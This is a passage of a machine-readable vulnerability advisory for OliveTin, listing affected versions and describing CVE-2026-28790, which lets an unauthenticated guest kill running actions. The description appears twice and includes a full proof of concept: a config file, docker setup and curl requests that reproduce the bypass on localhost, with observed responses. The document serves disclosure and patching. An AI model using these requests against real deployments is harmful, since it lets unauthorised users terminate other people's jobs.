"product": { "name": "vers:unknown/2024.04.26", "product_id": "CSAFPID-5118519" } }, { "category": "product_version_range", "name": "vers:unknown/2024.04.261", "product": { "name": "vers:unknown/2024.04.261", "product_id": "CSAFPID-5118520" } }, { "category": "product_version_range", "name": "vers:unknown/2024.04.28", "product": { "name": "vers:unknown/2024.04.28", "product_id": "CSAFPID-5118521" } }, { "category": "product_version_range", "name": "vers:unknown/2024.05.13", "product": { "name": "vers:unknown/2024.05.13", "product_id": "CSAFPID-5118522" } }, { "category": "product_version_range", "name": "vers:unknown/2024.05.24", "product": { "name": "vers:unknown/2024.05.24", "product_id": "CSAFPID-5118523" } }, { "category": "product_version_range", "name": "vers:unknown/2024.05.27", "product": { "name": "vers:unknown/2024.05.27", "product_id": "CSAFPID-5118524" } }, { "category": "product_version_range", "name": "vers:unknown/2024.05.31", "product": { "name": "vers:unknown/2024.05.31", "product_id": "CSAFPID-5118525" } }, { "category": "product_version_range", "name": "vers:unknown/2024.05.51", "product": { "name": "vers:unknown/2024.05.51", "product_id": "CSAFPID-5118526" } }, { "category": "product_version_range", "name": "vers:unknown/2024.06.01", "product": { "name": "vers:unknown/2024.06.01", "product_id": "CSAFPID-5118527" } }, { "category": "product_version_range", "name": "vers:unknown/2024.06.02", "product": { "name": "vers:unknown/2024.06.02", "product_id": "CSAFPID-5118528" } }, { "category": "product_version_range", "name": "vers:unknown/2024.06.04", "product": { "name": "vers:unknown/2024.06.04", "product_id": "CSAFPID-5118529" } }, { "category": "product_version_range", "name": "vers:unknown/2024.07.03", "product": { "name": "vers:unknown/2024.07.03", "product_id": "CSAFPID-5118530" } }, { "category": "product_version_range", "name": "vers:unknown/2024.07.06", "product": { "name": "vers:unknown/2024.07.06", "product_id": "CSAFPID-5118531" } }, { "category": "product_version_range", "name": "vers:unknown/2024.07.07", "product": { "name": "vers:unknown/2024.07.07", "product_id": "CSAFPID-5118532" } }, { "category": "product_version_range", "name": "vers:unknown/2024.07.13", "product": { "name": "vers:unknown/2024.07.13", "product_id": "CSAFPID-5118533" } }, { "category": "product_version_range", "name": "vers:unknown/2024.07.15", "product": { "name": "vers:unknown/2024.07.15", "product_id": "CSAFPID-5118534" } }, { "category": "product_version_range", "name": "vers:unknown/2024.07.152", "product": { "name": "vers:unknown/2024.07.152", "product_id": "CSAFPID-5118535" } }, { "category": "product_version_range", "name": "vers:unknown/2024.07.153", "product": { "name": "vers:unknown/2024.07.153", "product_id": "CSAFPID-5118536" } }, { "category": "product_version_range", "name": "vers:unknown/2024.07.16", "product": { "name": "vers:unknown/2024.07.16", "product_id": "CSAFPID-5118537" } }, { "category": "product_version_range", "name": "vers:unknown/2024.08.14", "product": { "name": "vers:unknown/2024.08.14", "product_id": "CSAFPID-5118538" } }, { "category": "product_version_range", "name": "vers:unknown/2024.08.25", "product": { "name": "vers:unknown/2024.08.25", "product_id": "CSAFPID-5118539" } }, { "category": "product_version_range", "name": "vers:unknown/2024.08.31", "product": { "name": "vers:unknown/2024.08.31", "product_id": "CSAFPID-5118540" } }, { "category": "product_version_range", "name": "vers:unknown/2024.09.02", "product": { "name": "vers:unknown/2024.09.02", "product_id": "CSAFPID-5118541" } }, { "category": "product_version_range", "name": "vers:unknown/2024.09.10", "product": { "name": "vers:unknown/2024.09.10", "product_id": "CSAFPID-5118542" } }, { "category": "product_version_range", "name": "vers:unknown/2024.09.11", "product": { "name": "vers:unknown/2024.09.11", "product_id": "CSAFPID-5118543" } }, { "category": "product_version_range", "name": "vers:unknown/2024.09.16", "product": { "name": "vers:unknown/2024.09.16", "product_id": "CSAFPID-5118544" } }, { "category": "product_version_range", "name": "vers:unknown/2024.10.01", "product": { "name": "vers:unknown/2024.10.01", "product_id": "CSAFPID-5118545" } }, { "category": "product_version_range", "name": "vers:unknown/2024.10.02", "product": { "name": "vers:unknown/2024.10.02", "product_id": "CSAFPID-5118546" } }, { "category": "product_version_range", "name": "vers:unknown/2024.10.14", "product": { "name": "vers:unknown/2024.10.14", "product_id": "CSAFPID-5118547" } }, { "category": "product_version_range", "name": "vers:unknown/2024.10.17", "product": { "name": "vers:unknown/2024.10.17", "product_id": "CSAFPID-5118548" } }, { "category": "product_version_range", "name": "vers:unknown/2024.10.18", "product": { "name": "vers:unknown/2024.10.18", "product_id": "CSAFPID-5118549" } }, { "category": "product_version_range", "name": "vers:unknown/2024.10.26", "product": { "name": "vers:unknown/2024.10.26", "product_id": "CSAFPID-5118550" } }, { "category": "product_version_range", "name": "vers:unknown/2024.10.27", "product": { "name": "vers:unknown/2024.10.27", "product_id": "CSAFPID-5118551" } }, { "category": "product_version_range", "name": "vers:unknown/2024.11.02", "product": { "name": "vers:unknown/2024.11.02", "product_id": "CSAFPID-5118552" } }, { "category": "product_version_range", "name": "vers:unknown/2024.11.09", "product": { "name": "vers:unknown/2024.11.09", "product_id": "CSAFPID-5118553" } }, { "category": "product_version_range", "name": "vers:unknown/2024.11.18", "product": { "name": "vers:unknown/2024.11.18", "product_id": "CSAFPID-5118554" } }, { "category": "product_version_range", "name": "vers:unknown/2024.11.24", "product": { "name": "vers:unknown/2024.11.24", "product_id": "CSAFPID-5118555" } }, { "category": "product_version_range", "name": "vers:unknown/2024.12.11", "product": { "name": "vers:unknown/2024.12.11", "product_id": "CSAFPID-5118556" } }, { "category": "product_version_range", "name": "vers:unknown/2025.2.19", "product": { "name": "vers:unknown/2025.2.19", "product_id": "CSAFPID-5118557" } }, { "category": "product_version_range", "name": "vers:unknown/2025.2.21", "product": { "name": "vers:unknown/2025.2.21", "product_id": "CSAFPID-5118558" } }, { "category": "product_version_range", "name": "vers:unknown/2025.3.23", "product": { "name": "vers:unknown/2025.3.23", "product_id": "CSAFPID-5118559" } }, { "category": "product_version_range", "name": "vers:unknown/2025.3.28", "product": { "name": "vers:unknown/2025.3.28", "product_id": "CSAFPID-5118560" } }, { "category": "product_version_range", "name": "vers:unknown/2025.4.14", "product": { "name": "vers:unknown/2025.4.14", "product_id": "CSAFPID-5118561" } }, { "category": "product_version_range", "name": "vers:unknown/2025.4.21", "product": { "name": "vers:unknown/2025.4.21", "product_id": "CSAFPID-5118562" } }, { "category": "product_version_range", "name": "vers:unknown/2025.4.22", "product": { "name": "vers:unknown/2025.4.22", "product_id": "CSAFPID-3052538", "product_identification_helper": { "cpe": "cpe:2.3:a:olivetin:olivetin:2025.4.22:*:*:*:*:*:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/2025.4.8", "product": { "name": "vers:unknown/2025.4.8", "product_id": "CSAFPID-5118563" } }, { "category": "product_version_range", "name": "vers:unknown/2025.5.26", "product": { "name": "vers:unknown/2025.5.26", "product_id": "CSAFPID-5723375" } }, { "category": "product_version_range", "name": "vers:unknown/2025.6.1", "product": { "name": "vers:unknown/2025.6.1", "product_id": "CSAFPID-5723376" } }, { "category": "product_version_range", "name": "vers:unknown/2025.6.22", "product": { "name": "vers:unknown/2025.6.22", "product_id": "CSAFPID-5723377" } }, { "category": "product_version_range", "name": "vers:unknown/2025.6.6", "product": { "name": "vers:unknown/2025.6.6", "product_id": "CSAFPID-5723378" } }, { "category": "product_version_range", "name": "vers:unknown/2025.7.13", "product": { "name": "vers:unknown/2025.7.13", "product_id": "CSAFPID-5723379" } }, { "category": "product_version_range", "name": "vers:unknown/2025.7.19", "product": { "name": "vers:unknown/2025.7.19", "product_id": "CSAFPID-5723380" } }, { "category": "product_version_range", "name": "vers:unknown/2025.7.28", "product": { "name": "vers:unknown/2025.7.28", "product_id": "CSAFPID-5723381" } }, { "category": "product_version_range", "name": "vers:unknown/2025.7.29", "product": { "name": "vers:unknown/2025.7.29", "product_id": "CSAFPID-5723382" } }, { "category": "product_version_range", "name": "vers:unknown/3000.0.0", "product": { "name": "vers:unknown/3000.0.0", "product_id": "CSAFPID-5723383" } }, { "category": "product_version_range", "name": "vers:unknown/3000.0.1", "product": { "name": "vers:unknown/3000.0.1", "product_id": "CSAFPID-5723384" } }, { "category": "product_version_range", "name": "vers:unknown/3000.0.2", "product": { "name": "vers:unknown/3000.0.2", "product_id": "CSAFPID-5723385" } }, { "category": "product_version_range", "name": "vers:unknown/3000.1.0", "product": { "name": "vers:unknown/3000.1.0", "product_id": "CSAFPID-5723386" } }, { "category": "product_version_range", "name": "vers:unknown/3000.1.1", "product": { "name": "vers:unknown/3000.1.1", "product_id": "CSAFPID-5723387" } }, { "category": "product_version_range", "name": "vers:unknown/3000.1.2", "product": { "name": "vers:unknown/3000.1.2", "product_id": "CSAFPID-5723388" } }, { "category": "product_version_range", "name": "vers:unknown/3000.10.0", "product": { "name": "vers:unknown/3000.10.0", "product_id": "CSAFPID-5723389" } }, { "category": "product_version_range", "name": "vers:unknown/3000.10.1", "product": { "name": "vers:unknown/3000.10.1", "product_id": "CSAFPID-5908757" } }, { "category": "product_version_range", "name": "vers:unknown/3000.10.2", "product": { "name": "vers:unknown/3000.10.2", "product_id": "CSAFPID-5909157" } }, { "category": "product_version_range", "name": "vers:unknown/3000.2.0", "product": { "name": "vers:unknown/3000.2.0", "product_id": "CSAFPID-5723390" } }, { "category": "product_version_range", "name": "vers:unknown/3000.2.1", "product": { "name": "vers:unknown/3000.2.1", "product_id": "CSAFPID-5723391" } }, { "category": "product_version_range", "name": "vers:unknown/3000.3.0", "product": { "name": "vers:unknown/3000.3.0", "product_id": "CSAFPID-5723392" } }, { "category": "product_version_range", "name": "vers:unknown/3000.3.1", "product": { "name": "vers:unknown/3000.3.1", "product_id": "CSAFPID-5723393" } }, { "category": "product_version_range", "name": "vers:unknown/3000.3.2", "product": { "name": "vers:unknown/3000.3.2", "product_id": "CSAFPID-5723394" } }, { "category": "product_version_range", "name": "vers:unknown/3000.4.0", "product": { "name": "vers:unknown/3000.4.0", "product_id": "CSAFPID-5723395" } }, { "category": "product_version_range", "name": "vers:unknown/3000.5.0", "product": { "name": "vers:unknown/3000.5.0", "product_id": "CSAFPID-5723396" } }, { "category": "product_version_range", "name": "vers:unknown/3000.6.0", "product": { "name": "vers:unknown/3000.6.0", "product_id": "CSAFPID-5723397" } }, { "category": "product_version_range", "name": "vers:unknown/3000.7.0", "product": { "name": "vers:unknown/3000.7.0", "product_id": "CSAFPID-5723398" } }, { "category": "product_version_range", "name": "vers:unknown/3000.8.0", "product": { "name": "vers:unknown/3000.8.0", "product_id": "CSAFPID-5723399" } }, { "category": "product_version_range", "name": "vers:unknown/3000.9.0", "product": { "name": "vers:unknown/3000.9.0", "product_id": "CSAFPID-5723400" } }, { "category": "product_version_range", "name": "vers:unknown/3000.9.0-beta.1", "product": { "name": "vers:unknown/3000.9.0-beta.1", "product_id": "CSAFPID-5723401" } }, { "category": "product_version_range", "name": "vers:unknown/3000.9.0-beta.2", "product": { "name": "vers:unknown/3000.9.0-beta.2", "product_id": "CSAFPID-5723402" } }, { "category": "product_version_range", "name": "vers:unknown/3000.9.0-beta.3", "product": { "name": "vers:unknown/3000.9.0-beta.3", "product_id": "CSAFPID-5723403" } }, { "category": "product_version_range", "name": "vers:unknown/3000.9.1", "product": { "name": "vers:unknown/3000.9.1", "product_id": "CSAFPID-5723404" } }, { "category": "product_version_range", "name": "vers:unknown/3000.9.2", "product": { "name": "vers:unknown/3000.9.2", "product_id": "CSAFPID-5723405" } }, { "category": "product_version_range", "name": "vers:unknown/3000.9.3", "product": { "name": "vers:unknown/3000.9.3", "product_id": "CSAFPID-5723406" } }, { "category": "product_version_range", "name": "vers:unknown/3000.9.4", "product": { "name": "vers:unknown/3000.9.4", "product_id": "CSAFPID-5723407" } }, { "category": "product_version_range", "name": "vers:unknown/<3000.11.0", "product": { "name": "vers:unknown/<3000.11.0", "product_id": "CSAFPID-5775052", "product_identification_helper": { "cpe": "cpe:2.3:a:olivetin:olivetin:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "olivetin" } ], "category": "vendor", "name": "olivetin" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-28790", "cwe": { "id": "CWE-862", "name": "Missing Authorization" }, "notes": [ { "category": "description", "text": "### Summary\n\nOliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. In the tested release (3000.10.2), guests are correctly blocked from dashboard access, but an still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions.\n\n\n\n\n### Details\nThe issue is caused by inconsistent authorization enforcement between dashboard access and action-control RPCs.\n\n KillAction() authenticates the caller and applies only the per-action kill ACL check:\n\n - service/internal/api/api.go:62\n\n However, it does not enforce the guest login requirement. The guest/login gate exists separately in:\n\n - service/internal/api/api.go:474\n\n That gate is used by dashboard-style methods, but not by KillAction.\n\n In addition, when authRequireGuestsToLogin is enabled, config sanitization disables guest view, exec, and logs permissions, but leaves kill unchanged:\n\n - service/internal/config/sanitize.go:160\n\n Specifically:\n\n - DefaultPermissions.View = false\n - DefaultPermissions.Exec = false\n - DefaultPermissions.Logs = false\n - DefaultPermissions.Kill remains unchanged\n\n As a result, in the default configuration path where Kill remains allowed, an unauthenticated guest user can still satisfy IsAllowedKill():\n\n - service/internal/acl/acl.go:133\n\n I validated this behavior on a clean 3000.10.2 setup:\n\n - guests were denied access to GetDashboard\n - an authenticated admin user started a long-running action\n - an unauthenticated guest successfully called KillAction\n - the action was terminated\n\n This confirms a real authorization bypass affecting action termination.\n\n\n### PoC\n Tested version:\n```\n 3000.10.2\n```\n 1. Create a minimal config:\n```bash\n mkdir -p /tmp/olivetin-kill-bypass\n cat > /tmp/olivetin-kill-bypass/config.yaml <<'YAML'\n listenAddressSingleHTTPFrontend: 0.0.0.0:1337\n logLevel: \"DEBUG\"\n checkForUpdates: false\n\n authRequireGuestsToLogin: true\n authLocalUsers:\n enabled: true\n users:\n - username: \"admin\"\n usergroup: \"admin\"\n password: \"$argon2id$v=19$m=65536,t=4,p=2$JLk85PhCL7RPboAlsYO4Lw$bQj6uhKnBpisbGRhe271cEt59S9EqYrHKeCfykypbZ4\"\n\n accessControlLists:\n - name: adminall\n addToEveryAction: true\n matchUsernames: [\"admin\"]\n permissions:\n view: true\n exec: true\n logs: true\n kill: true\n\n actions:\n - title: long-running\n id: long-running\n shell: sleep 20\n timeout: 30\n YAML\n```\n 2. Start OliveTin 3000.10.2:\n```bash\n docker rm -f olivetin-kill-bypass 2>/dev/null || true\n docker run -d --name olivetin-kill-bypass \\\n -p 1347:1337 \\\n -v /tmp/olivetin-kill-bypass:/config:ro \\\n ghcr.io/olivetin/olivetin:3000.10.2\n```\n 3. Confirm the server is ready:\n```bash\n curl -i http://127.0.0.1:1347/readyz\n```\n 4. Prove guests are blocked from dashboard access:\n```bash\n curl -i -X POST http://127.0.0.1:1347/api/GetDashboard \\\n -H 'Content-Type: application/json' \\\n --data '{\"title\":\"default\"}'\n\n Observed response:\n\n HTTP/1.1 403 Forbidden\n {\"code\":\"permission_denied\",\"message\":\"guests are not allowed to access the dashboard\"}\n```\n 5. Log in as admin:\n```bash\n curl -c /tmp/ot_admin_cookie.txt -i -X POST http://127.0.0.1:1347/api/LocalUserLogin \\\n -H 'Content-Type: application/json' \\\n --data '{\"username\":\"admin\",\"password\":\"SecretPass123!\"}'\n```\n 6. Start a long-running action as admin:\n```bash\n curl -i -b /tmp/ot_admin_cookie.txt -X POST http://127.0.0.1:1347/api/StartAction \\\n -H 'Content-Type: application/json' \\\n --data '{\"bindingId\":\"long-running\",\"arguments\":[],\"uniqueTrackingId\":\"kill-hunt-1\"}'\n\n Observed response:\n\n HTTP/1.1 200 OK\n {\"executionTrackingId\":\"kill-hunt-1\"}\n```\n 7. Kill it as an unauthenticated guest:\n```bash\n curl -i -X POST http://127.0.0.1:1347/api/KillAction \\\n -H 'Content-Type: application/json' \\\n --data '{\"executionTrackingId\":\"kill-hunt-1\"}'\n```\n Observed response:\n```bash\n HTTP/1.1 200 OK\n {\"executionTrackingId\":\"kill-hunt-1\",\"killed\":true,\"alreadyCompleted\":false,\"found\":true}\n```\n 8. Confirm in container logs:\n```bash\n docker logs olivetin-kill-bypass 2>&1 | tail -n 120\n```\n Observed relevant lines:\n```bash\n Authenticated API request ... path=\"/olivetin.api.v1.OliveTinApiService/GetDashboard\" ... username=\"guest\"\n Authenticated API request ... path=\"/olivetin.api.v1.OliveTinApiService/StartAction\" ... username=\"admin\"\n Action started actionTitle=\"long-running\"\n Authenticated API request ... path=\"/olivetin.api.v1.OliveTinApiService/KillAction\" ... username=\"guest\"\n Killing execution request by tracking ID: kill-hunt-1\n Action finished actionTitle=\"long-running\" exit=\"-1\"\n```\n This proves:\n\n - guests are denied dashboard access\n - guests can still invoke KillAction\n - the running action is successfully terminated by an unauthenticated user\n\n\n### Impact\nThis is an unauthenticated broken access control vulnerability resulting in denial of service.\n\n An unauthenticated guest can:\n\n - terminate active jobs started by legitimate users\n - disrupt long-running administrative or operational workflows\n - interfere with privileged actions without being allowed to log in\n\n Who is impacted:\n\n - OliveTin deployments with authRequireGuestsToLogin: true\n - multi-user environments where actions may run for meaningful durations\n - operational environments where stopping a running action can interrupt maintenance, deployment, backup, or service-control tasks\n\n This issue does not require valid credentials, only knowledge of a live executionTrackingId. That still makes it a real and exploitable availability issue in environments where execution identifiers can be observed or predicted\n through adjacent leaks or shared operator knowledge.", "title": "github - https://github.com/advisories/GHSA-4fqm-6fmh-82mq" }, { "category": "description", "text": "### Summary\n\nOliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. In the tested release (3000.10.2), guests are correctly blocked from dashboard access, but an still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions.\n\n\n\n\n### Details\nThe issue is caused by inconsistent authorization enforcement between dashboard access and action-control RPCs.\n\n KillAction() authenticates the caller and applies only the per-action kill ACL check:\n\n - service/internal/api/api.go:62\n\n However, it does not enforce the guest login requirement. The guest/login gate exists separately in:\n\n - service/internal/api/api.go:474\n\n That gate is used by dashboard-style methods, but not by KillAction.\n\n In addition, when authRequireGuestsToLogin is enabled, config sanitization disables guest view, exec, and logs permissions, but leaves kill unchanged:\n\n - service/internal/config/sanitize.go:160\n\n Specifically:\n\n - DefaultPermissions.View = false\n - DefaultPermissions.Exec = false\n - DefaultPermissions.Logs = false\n - DefaultPermissions.Kill remains unchanged\n\n As a result, in the default configuration path where Kill remains allowed, an unauthenticated guest user can still satisfy IsAllowedKill():\n\n - service/internal/acl/acl.go:133\n\n I validated this behavior on a clean 3000.10.2 setup:\n\n - guests were denied access to GetDashboard\n - an authenticated admin user started a long-running action\n - an unauthenticated guest successfully called KillAction\n - the action was terminated\n\n This confirms a real authorization bypass affecting action termination.\n\n\n### PoC\n Tested version:\n```\n 3000.10.2\n```\n 1. Create a minimal config:\n```bash\n mkdir -p /tmp/olivetin-kill-bypass\n cat > /tmp/olivetin-kill-bypass/config.yaml <<'YAML'\n listenAddressSingleHTTPFrontend: 0.0.0.0:1337\n logLevel: \"DEBUG\"\n checkForUpdates: false\n\n authRequireGuestsToLogin: true\n authLocalUsers:\n enabled: true\n users:\n - username: \"admin\"\n usergroup: \"admin\"\n password: \"$argon2id$v=19$m=65536,t=4,p=2$JLk85PhCL7RPboAlsYO4Lw$bQj6uhKnBpisbGRhe271cEt59S9EqYrHKeCfykypbZ4\"\n\n accessControlLists:\n - name: adminall\n addToEveryAction: true\n matchUsernames: [\"admin\"]\n permissions:\n view: true\n exec: true\n logs: true\n kill: true\n\n actions:\n - title: long-running\n id: long-running\n shell: sleep 20\n timeout: 30\n YAML\n```\n 2. Start OliveTin 3000.10.2:\n```bash\n docker rm -f olivetin-kill-bypass 2>/dev/null || true\n docker run -d --name olivetin-kill-bypass \\\n -p 1347:1337 \\\n -v /tmp/olivetin-kill-bypass:/config:ro \\\n ghcr.io/olivetin/olivetin:3000.10.2\n```\n 3. Confirm the server is ready:\n```bash\n curl -i http://127.0.0.1:1347/readyz\n```\n 4. Prove guests are blocked from dashboard access:\n```bash\n curl -i -X POST http://127.0.0.1:1347/api/GetDashboard \\\n -H 'Content-Type: application/json' \\\n --data '{\"title\":\"default\"}'\n\n Observed response:\n\n HTTP/1.1 403 Forbidden\n {\"code\":\"permission_denied\",\"message\":\"guests are not allowed to access the dashboard\"}\n```\n 5. Log in as admin:\n```bash\n curl -c /tmp/ot_admin_cookie.txt -i -X POST http://127.0.0.1:1347/api/LocalUserLogin \\\n -H 'Content-Type: application/json' \\\n --data '{\"username\":\"admin\",\"password\":\"SecretPass123!\"}'\n```\n 6. Start a long-running action as admin:\n```bash\n curl -i -b /tmp/ot_admin_cookie.txt -X POST http://127.0.0.1:1347/api/StartAction \\\n -H 'Content-Type: application/json' \\\n --data '{\"bindingId\":\"long-running\",\"arguments\":[],\"uniqueTrackingId\":\"kill-hunt-1\"}'\n\n Observed response:\n\n HTTP/1.1 200 OK\n {\"executionTrackingId\":\"kill-hunt-1\"}\n```\n 7. Kill it as an unauthenticated guest:\n```bash\n curl -i -X POST http://127.0.0.1:1347/api/KillAction \\\n -H 'Content-Type: application/json' \\\n --data '{\"executionTrackingId\":\"kill-hunt-1\"}'\n```\n Observed response:\n```bash\n HTTP/1.1 200 OK\n {\"executionTrackingId\":\"kill-hunt-1\",\"killed\":true,\"alreadyCompleted\":false,\"found\":true}\n```\n 8. Confirm in container logs:\n```bash\n docker logs olivetin-kill-bypass 2>&1 | tail -n 120\n```\n Observed relevant lines:\n```bash\n Authenticated API request ... path=\"/olivetin.api.v1.OliveTinApiService/GetDashboard\" ... username=\"guest\"\n Authenticated API request ... path=\"/olivetin.api.v1.OliveTinApiService/StartAction\" ... username=\"admin\"\n Action started actionTitle=\"long-running\"\n Authenticated API request ... path=\"/olivetin.api.v1.OliveTinApiService/KillAction\" ... username=\"guest\"\n Killing execution request by tracking ID: kill-hunt-1\n Action finished actionTitle=\"long-running\" exit=\"-1\"\n```\n This proves:\n\n - guests are denied dashboard access\n - guests can still invoke KillAction\n - the running action is successfully terminated by an unauthenticated user\n\n\n### Impact\nThis is an unauthenticated broken access control vulnerability resulting in denial of service.\n\n An unauthenticated guest can:\n\n - terminate active jobs started by legitimate users\n - disrupt long-running administrative or operational workflows\n - interfere with privileged actions without being allowed to log in\n\n Who is impacted:\n\n - OliveTin deployments with authRequireGuestsToLogin: true\n - multi-user environments where actions may run for meaningful durations\n - operational environments where stopping a running action can interrupt maintenance, deployment, backup, or service-control tasks\n\n This issue does not require valid credentials, only knowledge of a live executionTrackingId. That still makes it a real and exploitable availability issue in environments where execution identifiers can be observed or predicted\n through adjacent leaks or shared operator knowledge.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-4fqm-6fmh-82mq.json?alt=media" }, { "category": "description", "text": "OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.0, OliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. Guests are correctly blocked from dashboard access, but can still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions. This issue has been patched in version 3000.11.0.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-28790" }, { "category": "description", "text": "OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.0, OliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. Guests are correctly blocked from dashboard access, but can still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions. This issue has been patched in version 3000.11.0.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-28790" }, { "category": "description", "text": "OliveTin has Unauthenticated Action Termination via KillAction When Guests Must Login in github.com/OliveTin/OliveTin", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4587.json?alt=media" }, { "category": "description", "text": "OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.0, OliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. Guests are correctly blocked from dashboard access, but can still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions. This issue has been patched in version 3000.11.0.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-28790.json?alt=media" }, { "category": "description", "text": "OliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. In the tested release (3000.10.2), guests are correctly blocked from dashboard access, but an still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions.", "title": "gitlab - https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2FOliveTin%2FOliveTin%2FCVE-2026-28790.yml/raw" }, { "category": "other", "text": "0.00075", "title": "EPSS" }, { "category": "other", "text": "3.9", "title": "NCSC Score" }, { "category": "other", "text": "There is exploit data available from source Nvd, The value of the most recent EPSS score, Exploit code publicly available", "title": "NCSC Score top decreasing factors" } ], "product_status": { "fixed": [ "CSAFPID-5982403" ], "known_affected": [ "CSAFPID-5758948", "CSAFPID-5763843", "CSAFPID-5775052", "CSAFPID-3052538", "CSAFPID-5118474", "CSAFPID-5118475", "CSAFPID-5118476", "CSAFPID-5118477", "CSAFPID-5118478", "CSAFPID-5118479", "CSAFPID-5118480", "CSAFPID-5118481", "CSAFPID-5118482", "CSAFPID-5118483", "CSAFPID-5118484", "CSAFPID-5118485", "CSAFPID-5118486", "CSAFPID-5118487", "CSAFPID-5118488", "CSAFPID-5118489", "CSAFPID-5118490", "CSAFPID-5118491", "CSAFPID-5118492", "CSAFPID-5118493", "CSAFPID-5118494", "CSAFPID-5118495", "CSAFPID-5118496", "CSAFPID-5118497", "CSAFPID-5118498", "CSAFPID-5118499", "CSAFPID-5118500", "CSAFPID-5118501", "CSAFPID-5118502", "CSAFPID-5118503", "CSAFPID-5118504", "CSAFPID-5118505", "CSAFPID-5118506", "CSAFPID-5118507", "CSAFPID-5118508", "CSAFPID-5118509", "CSAFPID-5118510", "CSAFPID-5118511", "CSAFPID-5118512", "CSAFPID-5118513", "CSAFPID-5118514", "CSAFPID-5118515", "CSAFPID-5118516", "CSAFPID-5118517", "CSAFPID-5118518", "CSAFPID-5118519", "CSAFPID-5118520", "CSAFPID-5118521", "CSAFPID-5118522", "CSAFPID-5118523", "CSAFPID-5118524", "CSAFPID-5118525", "CSAFPID-5118526", "CSAFPID-5118527", "CSAFPID-5118528", "CSAFPID-5118529", "CSAFPID-5118530", "CSAFPID-5118531", "CSAFPID-5118532", "CSAFPID-5118533", "CSAFPID-5118534", "CSAFPID-5118535", "CSAFPID-5118536", "CSAFPID-5118537", "CSAFPID-5118538", "CSAFPID-5118539", "CSAFPID-5118540", "CSAFPID-5118541", "CSAFPID-5118542", "CSAFPID-5118543", "CSAFPID-5118544", "CSAFPID-5118545", "CSAFPID-5118546", "CSAFPID-5118547", "CSAFPID-5118548", "CSAFPID-5118549", "CSAFPID-5118550", "CSAFPID-5118551", "CSAFPID-5118552", "CSAFPID-5118553", "CSAFPID-5118554", "CSAFPID-5118555", "CSAFPID-5118556", "CSAFPID-5118557", "CSAFPID-5118558", "CSAFPID-5118559", "CSAFPID-5118560", "CSAFPID-5118561", "CSAFPID-5118562", "CSAFPID-5118563", "CSAFPID-5701417", "CSAFPID-5723375", "CSAFPID-5723376", "CSAFPID-5723377", "CSAFPID-5723378", "CSAFPID-5723379", "CSAFPID-5723380", "CSAFPID-5723381", "CSAFPID-5723382", "CSAFPID-5723383", "CSAFPID-5723384", "CSAFPID-5723385", "CSAFPID-5723386", "CSAFPID-5723387", "CSAFPID-5723388", "CSAFPID-5723389", "CSAFPID-5723390", "CSAFPID-5723391", "CSAFPID-5723392", "CSAFPID-5723393", "CSAFPID-5723394", "CSAFPID-5723395", "CSAFPID-5723396", "CSAFPID-5723397", "CSAFPID-5723398", "CSAFPID-5723399", "CSAFPID-5723400", "CSAFPID-5723401", "CSAFPID-5723402", "CSAFPID-5723403", "CSAFPID-5723404", "CSAFPID-5723405", "CSAFPID-5723406", "CSAFPID-5723407", "CSAFPID-5908757", "CSAFPID-5909032", "CSAFPID-5909033", "CSAFPID-5909034", "CSAFPID-5909035", "CSAFPID-5909036", "CSAFPID-5909037", "CSAFPID-5909038", "CSAFPID-5909039", "CSAFPID-5909040", "CSAFPID-5909041", "CSAFPID-5909042", "CSAFPID-5909043", "CSAFPID-5909044", "CSAFPID-5909045", "CSAFPID-5909046", "CSAFPID-5909047", "CSAFPID-5909048", "CSAFPID-5909049", "CSAFPID-5909050", "CSAFPID-5909051", "CSAFPID-5909052", "CSAFPID-5909053", "CSAFPID-5909054", "CSAFPID-5909055", "CSAFPID-5909056", "CSAFPID-5909057", "CSAFPID-5909058", "CSAFPID-5909059", "CSAFPID-5909060", "CSAFPID-5909061", "CSAFPID-5909062", "CSAFPID-5909063", "CSAFPID-5909064", "CSAFPID-5909065", "CSAFPID-5909066", "CSAFPID-5909067", "CSAFPID-5909068", "CSAFPID-5909069", "CSAFPID-5909070", "CSAFPID-5909071", "CSAFPID-5909072", "CSAFPID-5909073", "CSAFPID-5909074", "CSAFPID-5909075", "CSAFPID-5909076", "CSAFPID-5909077", "CSAFPID-5909078", "CSAFPID-5909079", "CSAFPID-5909080", "CSAFPID-5909081", "CSAFPID-5909082", "CSAFPID-5909083", "CSAFPID-5909084", "CSAFPID-5909085", "CSAFPID-5909086", "CSAFPID-5909087", "CSAFPID-5909088", "CSAFPID-5909089", "CSAFPID-5909090", "CSAFPID-5909091", "CSAFPID-5909092", "CSAFPID-5909093", "CSAFPID-5909094", "CSAFPID-5909095", "CSAFPID-5909096", "CSAFPID-5909097", "CSAFPID-5909098", 